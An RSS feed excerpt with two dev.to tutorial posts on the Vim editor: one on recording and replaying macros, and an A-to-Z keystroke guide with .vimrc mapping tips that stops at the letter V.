      <title>Unleash the power of Vim Macros in 4 minutes</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Tue, 28 Jan 2020 16:59:42 +0000</pubDate>
      <link>https://dev.to/prodopsio/unleash-the-power-of-vim-macros-in-4-minutes-35a8</link>
      <guid>https://dev.to/prodopsio/unleash-the-power-of-vim-macros-in-4-minutes-35a8</guid>
      <description>&lt;p&gt;In my &lt;a href=""&gt;first Vim post&lt;/a&gt; I had a long discussion with one of the readers over macros. He just couldn't get his head around the idea. As I was doing my best to explain, I realized that specific examples don't always go all the way in demonstrating an idea.&lt;/p&gt;

&lt;p&gt;This post will cover the what's and the why's as well as the practical way of doing things, but thanks to my fellow reader, it would also try to illustrate use-cases and situations; the &lt;strong&gt;how&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  What
&lt;/h2&gt;

&lt;p&gt;Vim's documentation calls this "Recording", which essentially is exactly what it does. Vim records a set of commands into a &lt;a href=""&gt;register&lt;/a&gt;, and then allows their execution and manipulation. A recorded macro can be executed once, or as many times as requested by prefixing it with the number of repetitions. It can be combined with other recorded macros by assigning multiple macros in a certain order into a new macro of its own. A macro can be read, edited, and written as well since it's just a representation of characters saved into a register in the memory.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why
&lt;/h2&gt;

&lt;p&gt;Macro recordings are a powerful tool to have under your belt as a Vim user. Developers tend to stumble upon repetitive work quite frequently. Knowing "how to handle" such repetitiveness is not only time saving but also enjoyable as you perfect your process. As a side effect, being able to "beat" the challenge keeps you in your flow of work and doesn't throw you into the occasional frustration that is usually part of doing something over and over fifty times.&lt;br&gt;
You'll be thankful the next time each line starting with a &lt;code&gt;|&lt;/code&gt; would require another &lt;code&gt;|&lt;/code&gt; after the &lt;strong&gt;third&lt;/strong&gt; space (a real scenario batteling markdown tables);&lt;/p&gt;


&lt;h2&gt;
  
  
  How
&lt;/h2&gt;

&lt;p&gt;98% of all Vim macros ever recorded (I totally made the number up) required two steps: &lt;strong&gt;recording&lt;/strong&gt; and &lt;strong&gt;execution&lt;/strong&gt;. The rest involved actually reading the sequence and even changing it, let's follow them by descending order of importance:&lt;/p&gt;
&lt;h4&gt;
  
  
  Recording
&lt;/h4&gt;

&lt;p&gt;A recording is started with &lt;code&gt;q&lt;/code&gt; followed by a register. The most common and closest register is obviously "q" itself so, &lt;code&gt;qq&lt;/code&gt; will start recording into &lt;em&gt;register q&lt;/em&gt;, and Vim will show the mode &lt;em&gt;recording @q&lt;/em&gt;.&lt;br&gt;
Here's an example of recording the sequence required to complete the task in the paragraph above (each line starting with a &lt;code&gt;|&lt;/code&gt; would require another &lt;code&gt;|&lt;/code&gt; after the &lt;strong&gt;third&lt;/strong&gt; space):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;qqf nna| &amp;lt;ESC&amp;gt;q
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let's review each of 11 moves:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - record&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - save the recording into register "q"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;f&lt;/code&gt; - find&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&lt;/code&gt; - space (followed by "find", space being the target)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n&lt;/code&gt; - go to the next result&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;n&lt;/code&gt; - go to next result (again, since we're going for the &lt;strong&gt;third&lt;/strong&gt; space)&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;a&lt;/code&gt; - start inserting after the current cursor location&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;|&lt;/code&gt; - insert a pipe&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&lt;/code&gt; - insert a space&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; - back to normal mode&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;q&lt;/code&gt; - stop recording&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We now have a sequence of operations ready to be executed on the next line starting with &lt;code&gt;|&lt;/code&gt;. The last 5 words imply there's a more efficient way in regard to the number of keystrokes required. Let's create a sequence that would be able to repeat itself, meaning, &lt;strong&gt;it should end where the next execution should start&lt;/strong&gt;. One way to do that is this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;/^|qqf nna| &amp;lt;ESC&amp;gt;nq
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The additions here are a prefix of &lt;code&gt;/^|&lt;/code&gt; which means: search (&lt;code&gt;/&lt;/code&gt;) for all lines starting (&lt;code&gt;^&lt;/code&gt;) with &lt;code&gt;|&lt;/code&gt;, and a suffix of &lt;code&gt;n&lt;/code&gt; just before the end of recording (&lt;code&gt;q&lt;/code&gt;) meaning "jump to the next search result". The record now doesn't require any extra keystrokes in between executions other than the Vim "repeat" command (which we'll get to know in the next section), or providing a number of required repetitions to the execution command.&lt;/p&gt;

&lt;h4&gt;
  
  
  Executing
&lt;/h4&gt;

&lt;p&gt;Execution of a recorded sequence is done with &lt;code&gt;@&lt;/code&gt; followed by the target register; &lt;code&gt;@q&lt;/code&gt; would execute the contents of register "q". &lt;code&gt;@@&lt;/code&gt; is a shortcut, as it reads the last register's contents (2nd &lt;code&gt;@&lt;/code&gt;) and runs it (1st &lt;code&gt;@&lt;/code&gt;). Another useful combination is Vim's repetition command &lt;code&gt;.&lt;/code&gt;, which comes in handy when executing a sequence, then moving to another location where it's required (assuming there was no better option of recording), then using &lt;code&gt;.&lt;/code&gt; saves a keystroke and replaces the &lt;code&gt;@&amp;lt;register&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;h4&gt;
  
  
  Reading
&lt;/h4&gt;

&lt;p&gt;As with any register, contents are available with &lt;code&gt;:reg&lt;/code&gt; (or &lt;code&gt;:reg q&lt;/code&gt; in the specific example), and can be pasted from with &lt;code&gt;"qp&lt;/code&gt; ("paste from register q").&lt;/p&gt;

&lt;h4&gt;
  
  
  Changing
&lt;/h4&gt;

&lt;p&gt;After reading and pasting, the sequence can be manipulated in any way, and the sequence which is essentially a string of characters, can be saved back into the register for further use with: &lt;code&gt;"q&lt;/code&gt; followed by where the text is.&lt;/p&gt;

&lt;h4&gt;
  
  
  Combining
&lt;/h4&gt;

&lt;p&gt;Macros can be combined or "concatenated": if a certain sequence is recorded into register &lt;code&gt;q&lt;/code&gt; and another to &lt;code&gt;w&lt;/code&gt;, one may want to read them both, maybe concatenate the strings and resave them to one register so they can be run together. A better and quicker solution would be to start recording a new macro to a new register &lt;code&gt;e&lt;/code&gt; as an example, and then simply execute both sequences in the desired order: &lt;code&gt;"e@q@w&lt;/code&gt; - "record into register e, the sequence in register q followed by the one in register w".&lt;/p&gt;




&lt;h2&gt;
  
  
  When
&lt;/h2&gt;

&lt;p&gt;The simple answer to when should anyone use a macro, is either &lt;strong&gt;when you can't find a better alternative&lt;/strong&gt; e.g. &lt;a href=""&gt;a regex-based search and replace&lt;/a&gt;, a normal search (&lt;code&gt;/&lt;/code&gt;) and repeat (&lt;code&gt;.&lt;/code&gt;) combination, OR &lt;strong&gt;when it's the quicker way&lt;/strong&gt;, as simple as that. Vim's concept of "least keystrokes to result" is something to live by and remember; the least amount of effort put into a given result the better. Better flow, better focus and overall satisfaction of the user, because at the end of the day that's what Vim is all about: &lt;em&gt;productivity&lt;/em&gt;.&lt;/p&gt;




&lt;p&gt;Thank you for reading this far!&lt;br&gt;
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.&lt;/p&gt;

</description>
      <category>vim</category>
      <category>productivity</category>
      <category>tutorial</category>
      <category>codequality</category>
    </item>
    <item>
      <title>Vim A to Z - Literally</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 06 Jan 2020 15:14:11 +0000</pubDate>
      <link>https://dev.to/prodopsio/vim-a-to-z-literally-1iah</link>
      <guid>https://dev.to/prodopsio/vim-a-to-z-literally-1iah</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;TL;DR - ish: This post is a list of options and keystrokes in Vim, if this is the first time you're getting to know them, take your time, read some, memorize and go back once you feel comfortable with taking more in. Vim is overwhelming if you're just getting started, but it's even more rewarding!&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Vim has been one of the best adoptions and projects I took upon learning in the last several years. I've written quite a bit about it; &lt;a href="https://dev.to/omerxx/vim-from-foe-to-friend-in-9-minutes-2np0"&gt;an introductory post&lt;/a&gt; after reading the awesome &lt;a href="https://www.amazon.co.uk/Practical-Vim-Second-Speed-Thought/dp/1680501275/" rel="noopener noreferrer"&gt;Practical Vim&lt;/a&gt; and some &lt;a href=""&gt;advanced features&lt;/a&gt;.&lt;br&gt;
I've been also collecting a long list of tips and notes which are &lt;a href="https://github.com/omerxx/vim-notebook/blob/master/README.md" rel="noopener noreferrer"&gt;open sourced&lt;/a&gt;,&lt;br&gt;
but recently I felt there's an educational aspect to Vim that is being missed; Vim has phonetic logic to every keystroke, by understanding them and the logic behind them, one may feel much easier making their way through the steep learning curve.&lt;/p&gt;

&lt;p&gt;The following list has both original intentions of Vim authors, and some additions I made up myself to help myself remember what I was doing when I first started. How is it going to work - Vim has a special and different meaning to each character, its lower or upper case, and obviously the motions it is combined with. The list will go through the alphabet mentioning each case with useful and notable tips.&lt;/p&gt;

&lt;p&gt;Conventions: Vim keystroke sequences are in &lt;code&gt;code blocks&lt;/code&gt; and from time to time are followed by &lt;code&gt;&amp;lt;CTRL&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;, these are marked differently as they are mapped differently in different keyboards. There's also significance to &lt;strong&gt;where&lt;/strong&gt; a sequence begins; so, an example would include &lt;code&gt;[start: x]&lt;/code&gt; marking the character when the cursor is at before the sequence. &lt;/p&gt;




&lt;p&gt;So, without further ado, here's my &lt;strong&gt;Vim A --&amp;gt; Z list&lt;/strong&gt;...&lt;/p&gt;

&lt;h3&gt;
  
  
  A - Append, Amend
&lt;/h3&gt;

&lt;p&gt;Lower case &lt;code&gt;a&lt;/code&gt; will transition you into &lt;em&gt;insert mode&lt;/em&gt; to the character on the right of the current location.&lt;br&gt;
Example: &lt;code&gt;[start: W]&lt;/code&gt; at &lt;code&gt;WRD&lt;/code&gt; ("W"): use this sequence: &lt;code&gt;aO&amp;lt;ESC&amp;gt;&lt;/code&gt;, the cursor will end up back in &lt;em&gt;normal mode&lt;/em&gt; having &lt;code&gt;WORD&lt;/code&gt; written; &lt;code&gt;a&lt;/code&gt; starts editing to the right of &lt;code&gt;W&lt;/code&gt;, &lt;code&gt;O&lt;/code&gt; is inserted, and &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; throws back to &lt;em&gt;normal mode&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Upper case &lt;code&gt;A&lt;/code&gt; would have the same effect but in &lt;strong&gt;the end of a line&lt;/strong&gt;, so if my text is &lt;code&gt;TWO WORD&lt;/code&gt; and I run &lt;code&gt;AS.&amp;lt;ESC&amp;gt;&lt;/code&gt; I'll end up with &lt;code&gt;TWO WORDS.&lt;/code&gt;. &lt;br&gt;
Tip: its counterpart is &lt;code&gt;I&lt;/code&gt;; the same effect as &lt;code&gt;A&lt;/code&gt; but at the beginning of the line.&lt;/p&gt;

&lt;h3&gt;
  
  
  B - Backwards, Beginning
&lt;/h3&gt;

&lt;p&gt;Lower case &lt;code&gt;b&lt;/code&gt; will move to the beginning of the current word, if the cursor is already there, it'll go to the previous word's first character.&lt;br&gt;
&lt;code&gt;B&lt;/code&gt; would do the same but to the beginning of the line (starting to get the idea?). I like to think about the capital versions of the Vim keystrokes and &lt;strong&gt;strong&lt;/strong&gt; stokes.&lt;br&gt;
Tip: its counterpart stroke is &lt;code&gt;e&lt;/code&gt; (end) or &lt;code&gt;w&lt;/code&gt; (next word's beginning).&lt;/p&gt;

&lt;h3&gt;
  
  
  C - Change
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;c&lt;/code&gt; is usually followed by a &lt;em&gt;motion&lt;/em&gt;; &lt;code&gt;c&lt;/code&gt; combined with the listed above &lt;code&gt;b&lt;/code&gt;, would take you to &lt;em&gt;insert mode&lt;/em&gt; changing everything from the current location to the beginning of the word.&lt;br&gt;
Example: &lt;code&gt;[start: R]&lt;/code&gt; in &lt;code&gt;WORD&lt;/code&gt;, hit &lt;code&gt;cbX&lt;/code&gt;, you end up with &lt;code&gt;XRD&lt;/code&gt;.&lt;br&gt;
Since any Vim motion is relevant here, it can be run with some powerful combinations; e.g. &lt;code&gt;ciw&lt;/code&gt; means "change in the word", deletes the word while transitioning to &lt;em&gt;normal mode&lt;/em&gt;.&lt;br&gt;
&lt;code&gt;C&lt;/code&gt; in the case would change the entire line to its end from the current location.&lt;br&gt;
Tip: &lt;code&gt;D&lt;/code&gt; would do the same (as we'll see in a moment) but without the &lt;em&gt;insert mode&lt;/em&gt; part.&lt;/p&gt;

&lt;h3&gt;
  
  
  D - Delete
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;d&lt;/code&gt; would delete any motion that would follow, so &lt;code&gt;diw&lt;/code&gt; would be "delete in the word" which is similar to &lt;code&gt;ciw&lt;/code&gt; but the end result is still &lt;em&gt;normal mode&lt;/em&gt;.&lt;br&gt;
Useful combinations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;dip&lt;/code&gt; "delete in paragraph"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dgg&lt;/code&gt; - "delete from here up"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dG&lt;/code&gt; - "delete from here down"&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;dd&lt;/code&gt; "delete the current line"
Tip: has a small brother &lt;code&gt;x&lt;/code&gt; that has roughly the same effect but on a single character.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  E - End
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;e&lt;/code&gt;: you guessed it - takes you to the &lt;code&gt;e&lt;/code&gt;nd of a word or the &lt;code&gt;E&lt;/code&gt;nd of a line.&lt;/p&gt;

&lt;h3&gt;
  
  
  F - Find!
&lt;/h3&gt;

&lt;p&gt;A very useful motion; &lt;code&gt;f&lt;/code&gt; would find the character it's combined with; e.g. &lt;code&gt;fX&lt;/code&gt; would find the next &lt;code&gt;X&lt;/code&gt; appearance in a sentence. Using &lt;code&gt;F&lt;/code&gt; would have the same effect but in a backward search.&lt;br&gt;
Tip #1: combined with &lt;code&gt;;&lt;/code&gt; (next result), "find" becomes a very powerful motion in Vim to quickly find a character instead of moving towards it in slower or more keystrokes. &lt;code&gt;;&lt;/code&gt; works both backward and forward - depends on the original motion (&lt;code&gt;f&lt;/code&gt; vs &lt;code&gt;F&lt;/code&gt;).&lt;br&gt;
Tip #2: &lt;code&gt;f&lt;/code&gt; can be combined with other motions, to name a useful one - marking a visual block until a certain point including the point, one would use &lt;code&gt;vfx&lt;/code&gt; where &lt;code&gt;x&lt;/code&gt; is the character in question. Let's put this into a more solid example; consider the line "Here sleeps the hairy brown fox" &lt;code&gt;[start: H]&lt;/code&gt;, and the goal is to visually mark "Here sleeps the hairy", a sequence can be &lt;code&gt;vfy&lt;/code&gt; as in "Visually mark until char y including." &lt;em&gt;Sub-tip&lt;/em&gt;: if the end result wanted is the same but without the last char, use &lt;code&gt;t&lt;/code&gt; as in &lt;code&gt;vty&lt;/code&gt; to "Mark &lt;em&gt;to&lt;/em&gt; y".&lt;/p&gt;




&lt;p&gt;We're done with &lt;code&gt;f&lt;/code&gt; - let's take a look on a visual that shows some of it:&lt;/p&gt;

&lt;h2&gt;
  
  
  &lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2F381ps1dt3qx1seo1m8su.jpg" alt="Visual Vim motions in a line"&gt;
&lt;/h2&gt;

&lt;h3&gt;
  
  
  G - Go
&lt;/h3&gt;

&lt;p&gt;This is actually my own interpretation, &lt;code&gt;g&lt;/code&gt; goes places but with a bit different motions, Vim authors did not provide a significance to it on its own. Useful combinations: &lt;code&gt;gg&lt;/code&gt; to go the very beginning to the file, while &lt;code&gt;G&lt;/code&gt; would do the same but to the end.&lt;br&gt;
Tip: Find a comprehensive list of all the options with &lt;code&gt;:help *g*&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  H - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;h&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;h&lt;/code&gt; is used for &lt;strong&gt;left&lt;/strong&gt;.&lt;br&gt;
Addition suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;br&gt;
&lt;code&gt;H&lt;/code&gt; will take the cursor to the top of the page.&lt;/p&gt;

&lt;h3&gt;
  
  
  I - Insert
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;i&lt;/code&gt; is one of the most useful keystrokes in Vim, maybe only second to &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;. &lt;code&gt;i&lt;/code&gt; transitions from &lt;em&gt;normal mode&lt;/em&gt; to &lt;em&gt;insert mode&lt;/em&gt;. In the same way &lt;code&gt;I&lt;/code&gt; does the same but at the &lt;strong&gt;beginning of the line&lt;/strong&gt;.&lt;br&gt;
Useful (and advanced) Tip:&lt;br&gt;
Since &lt;code&gt;I&lt;/code&gt; edits the beginning of the line which is not a usual requirement of a user, I find myself requiring a prefix to a block or a number of lines. Using &lt;em&gt;visual block&lt;/em&gt; (which we'll cover below with &lt;code&gt;V&lt;/code&gt;) one can mark a visual block with &lt;code&gt;&amp;lt;CTRL&amp;gt;v&lt;/code&gt; then when a block is marked, use &lt;code&gt;I&lt;/code&gt; to start editing. When the edit is done hit &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; to&lt;br&gt;
go back to &lt;em&gt;normal mode&lt;/em&gt; but with the entire block prefixed with the change.&lt;/p&gt;

&lt;p&gt;Example: &lt;code&gt;[start: L]&lt;/code&gt; hit &lt;code&gt;&amp;lt;CTRL&amp;gt;vjjI*&amp;lt;SPACE&amp;gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

Line one
Line two
Line twenty-two


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Can you guess the result?&lt;br&gt;
Let's review the motions:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Start a visual block (&lt;code&gt;&amp;lt;CTRL&amp;gt;-v&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Jump down twice (&lt;code&gt;jj&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Insert an asterisk followed by a space at the beginning of the line&lt;/li&gt;
&lt;li&gt;Go back to normal mode, and behold: &lt;strong&gt;MAGIC&lt;/strong&gt; 😮&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

* Line one
* Line two
* Line twenty-two


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
  
  
  J - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;j&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;j&lt;/code&gt; is used for &lt;strong&gt;down&lt;/strong&gt;.&lt;br&gt;
Tip #1: &lt;code&gt;j&lt;/code&gt; happens to be a rare English letter, and the  key on a keyboard happens to be quite far considering its extensive use in the switch back to &lt;em&gt;normal mode&lt;/em&gt;,&lt;br&gt;
there's a convention of mapping &lt;code&gt;jj&lt;/code&gt; to &lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt; and use the already-in-read key to make the transition.&lt;br&gt;
Here's the mapping for your convenience: &lt;code&gt;imap jj &amp;lt;Esc&amp;gt;&lt;/code&gt;. As with any other change (especially in Vim) it takes a while to get used to, but it's very much worth the wait.&lt;br&gt;
Tip #2 suggested by the reader &lt;code&gt;@argon2008aiti&lt;/code&gt;:&lt;br&gt;
&lt;code&gt;J&lt;/code&gt; (capital) joins the line below after the cursor, this is useful when the cursor is standing at the end of a line and the line below should be joined to the same point. Usually, a user would go down a line, find the beginning of a sentence and delete backward to the earlier location.&lt;/p&gt;
&lt;h3&gt;
  
  
  K - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;K&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;k&lt;/code&gt; is used for &lt;strong&gt;up&lt;/strong&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  L - An arrow replacement
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;L&lt;/code&gt; is one of the "special four" &lt;code&gt;hjkl&lt;/code&gt; which are the basic arrows in Vim (sides, up &amp;amp; down), where &lt;code&gt;l&lt;/code&gt; is used for &lt;strong&gt;right&lt;/strong&gt;. (An absurd thinking about the concept of this post, one would expect "l" to be used for left :+1)... :trollface:&lt;/p&gt;
&lt;h3&gt;
  
  
  M - Mark
&lt;/h3&gt;

&lt;p&gt;Vim supports a powerful marking feature. Using &lt;a href="https://www.brianstorti.com/vim-registers/" rel="noopener noreferrer"&gt;Registers&lt;/a&gt;, it can save locations in a document with &lt;code&gt;m&lt;/code&gt; like so: &lt;code&gt;ma&lt;/code&gt; would save the current location to the register &lt;code&gt;a&lt;/code&gt;, go back to it from each other location with &lt;code&gt;'a&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt; can be replaced here with any other character that can represent a register).&lt;br&gt;
Relevant tip: if you did not remember to mark your location, which we normally don't in the flow of work, &lt;code&gt;''&lt;/code&gt; will always jump back to the &lt;strong&gt;previous location&lt;/strong&gt;.&lt;br&gt;
Addition suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;br&gt;
&lt;code&gt;M&lt;/code&gt; will move the cursor to the middle of the page (same as &lt;code&gt;zz&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;
  
  
  N - Next
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;n&lt;/code&gt; will go to the &lt;code&gt;n&lt;/code&gt;ext result of a search. Since this is a circular motion (next after the last result is the first), &lt;code&gt;n&lt;/code&gt; is used to go forward and &lt;code&gt;N&lt;/code&gt; to go back.&lt;br&gt;
Relevant info: to those who are not familiar, search in Vim is triggered with &lt;code&gt;/&lt;/code&gt; followed by search text. Beyond the obvious use-case of searching an appearance or a specific result, this is a useful motion; even if you already know and see the location of your target. Moving a cursor sometimes takes more keystrokes than just searching for the word (and maybe combining it with an &lt;code&gt;n&lt;/code&gt;).&lt;/p&gt;
&lt;h3&gt;
  
  
  O - Open line
&lt;/h3&gt;

&lt;p&gt;Not certain whether this was, in fact, the author's intention, &lt;code&gt;o&lt;/code&gt; does exactly that: it opens a new line below the cursor. Using &lt;code&gt;O&lt;/code&gt; would do the same but &lt;em&gt;above&lt;/em&gt;. &lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Here's something I did not yet figure to a level I'm satisfied with: &lt;code&gt;o&lt;/code&gt; opens a line and transitions to &lt;em&gt;insert mode&lt;/em&gt;, there are many times I'd like to open a new line below or above the cursor without adding new text, I've tried different mappings and combinations, but ended up back where I started with &lt;code&gt;o&lt;/code&gt; followed by &lt;code&gt;&amp;lt;ECS&amp;gt;&lt;/code&gt;. I'll use this stage to ask - had anyone found a better solution to this very specific yet annoying problem?&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;
  
  
  P - Paste, Paragraph
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;p&lt;/code&gt;'s most common usage is pasting something that has been &lt;code&gt;y&lt;/code&gt;anked or cut (remember Vim treats &lt;code&gt;d&lt;/code&gt;elete as cut too). &lt;code&gt;p&lt;/code&gt;asting is done &lt;strong&gt;after&lt;/strong&gt; the cursor while &lt;code&gt;P&lt;/code&gt; does it &lt;strong&gt;before&lt;/strong&gt;.&lt;br&gt;
Tip: &lt;a href="https://www.brianstorti.com/vim-registers/" rel="noopener noreferrer"&gt;Registers&lt;/a&gt; come in handy once again; paste from a register by combining it before the motion: with text saved into the &lt;code&gt;a&lt;/code&gt; register, &lt;code&gt;"adiw&lt;/code&gt; would "delete in word and save to the a register". Use the register's content and paste it using &lt;code&gt;"ap&lt;/code&gt; ("paste after the cursor from register a").&lt;/p&gt;
&lt;h3&gt;
  
  
  Q - Quit (and &lt;em&gt;Reqord&lt;/em&gt; macros)
&lt;/h3&gt;

&lt;p&gt;This bad spelled word is how I initially memorized where macros are starting their way :)&lt;br&gt;
&lt;code&gt;q&lt;/code&gt; is used to quit Vim, either with &lt;code&gt;:q&lt;/code&gt; which is the basic, &lt;code&gt;:qw&lt;/code&gt; to quit and write, &lt;code&gt;q!&lt;/code&gt; to quit even if work hasn't been saved and more.&lt;br&gt;
Having that said, as a &lt;em&gt;motion&lt;/em&gt;, &lt;code&gt;q&lt;/code&gt; is used to record a sequence of operations and repeat them, or as this is called in the Vim terminology "macros", more on macros (A-lot more) in my next and very soon blog post.&lt;br&gt;
For the time being here's a quick tip: Recording is done into registers just like yanking and cutting; use &lt;code&gt;qq&lt;/code&gt; to record into register &lt;code&gt;q&lt;/code&gt;, and do run a sequence of commands. Another hit on &lt;code&gt;q&lt;/code&gt; would stop the record making it available for execution with &lt;code&gt;@q&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;
  
  
  R - Replace
&lt;/h3&gt;

&lt;p&gt;While &lt;code&gt;r&lt;/code&gt; is as simple as replacing the current character with another (&lt;code&gt;ra&lt;/code&gt; will replace the current location with &lt;code&gt;a&lt;/code&gt;), &lt;code&gt;R&lt;/code&gt; is a powerful one yet rare; &lt;code&gt;R&lt;/code&gt; would transition into the odd &lt;em&gt;replace mode&lt;/em&gt;, which is essentially an &lt;em&gt;insert mode&lt;/em&gt; that &lt;strong&gt;overrides&lt;/strong&gt; characters. When block-width matters or there's an order of alignment, this small feature comes in very handy.&lt;/p&gt;
&lt;h3&gt;
  
  
  S - Substitute
&lt;/h3&gt;

&lt;p&gt;Being honest here - &lt;code&gt;s&lt;/code&gt; is the one motion of this entire list I did not recall and as such, I have never used it. I find it quite unnecessary having &lt;code&gt;c&lt;/code&gt; motion that transitions into &lt;em&gt;insert mode&lt;/em&gt; with the combined motion. &lt;code&gt;s&lt;/code&gt; would do the same while editing "on the spot": substituting the current character and editing from thereon. Useful when the end result is a substitution of a single character, yet this could be achieved with &lt;code&gt;x&lt;/code&gt;&amp;amp;&lt;code&gt;i&lt;/code&gt; or &lt;code&gt;r&lt;/code&gt;&amp;amp;&lt;code&gt;&amp;lt;ESC&amp;gt;&lt;/code&gt;.&lt;br&gt;
Using &lt;code&gt;S&lt;/code&gt; would substitute the current block while keeping you in &lt;em&gt;insert mode&lt;/em&gt;.&lt;br&gt;
Tip: I personally map &lt;code&gt;&amp;lt;leader&amp;gt;ss&lt;/code&gt; to toggle Vim's spell checker, (yes it has one), here's the mapping:&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

nnoremap &amp;lt;leader&amp;gt;ss :setlocal spell spelllang=en_us&amp;lt;CR&amp;gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Another "s" map I have is &lt;code&gt;ss&lt;/code&gt; to disable the highlight after searching a word resulting the highlights of all results, here it this map from &lt;a href="https://github.com/omerxx/dotfiles/vim/.vimrc" rel="noopener noreferrer"&gt;my .vimrc&lt;/a&gt;:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;

&lt;p&gt;nnoremap ss :noh&amp;lt;CR&amp;gt;&lt;/p&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;h3&gt;
&lt;br&gt;
  &lt;br&gt;
  &lt;br&gt;
  T - To&lt;br&gt;
&lt;/h3&gt;

&lt;p&gt;Mentioned previously in the &lt;strong&gt;F&lt;/strong&gt; section, &lt;code&gt;t&lt;/code&gt; means "do something until" (or to); &lt;code&gt;vtx&lt;/code&gt; means "visually mark to x" (without x). Or &lt;code&gt;dtf&lt;/code&gt; (this is just a random example...) would be "delete to char f".&lt;/p&gt;

&lt;h3&gt;
  
  
  U - Undo
&lt;/h3&gt;

&lt;p&gt;As simple as that, &lt;code&gt;u&lt;/code&gt; would undo changes. It's big brother &lt;code&gt;U&lt;/code&gt; has a rather strange result - undoing changes done in the same line since the cursor last moved into it.&lt;/p&gt;

&lt;h3&gt;
  
  
  V - Visual
&lt;/h3&gt;

